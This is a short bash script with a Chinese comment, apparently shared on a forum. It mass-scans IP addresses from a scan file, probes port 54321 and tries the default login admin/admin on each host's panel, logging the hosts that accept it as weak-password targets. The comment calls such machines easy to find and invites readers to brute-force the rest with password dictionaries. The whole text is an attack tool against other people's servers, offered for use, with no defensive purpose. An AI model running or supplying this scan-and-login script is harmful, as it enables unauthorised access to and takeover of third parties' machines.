for ip_ad in $(sed -nE 's/.*"ip": "([^"]+)".*/\1/p' scan.json); do
if curl --max-time 1 http://$ip_ad:54321; then
res=$(curl "http://${ip_ad}:54321/login" --data-raw 'username=admin&password=admin' --compressed --insecure)
if [[ "$res" =~ .*true.* ]]; then
echo $ip_ad | tee >> week.log
fi
echo $ip_ad | tee >> all.log
fi
done;
week.log里面就是所有扫出来的可以弱口令登录的机器,挺容易扫出来的
all.log是改了密码的机器,有兴趣可以尝试进一步字典枚举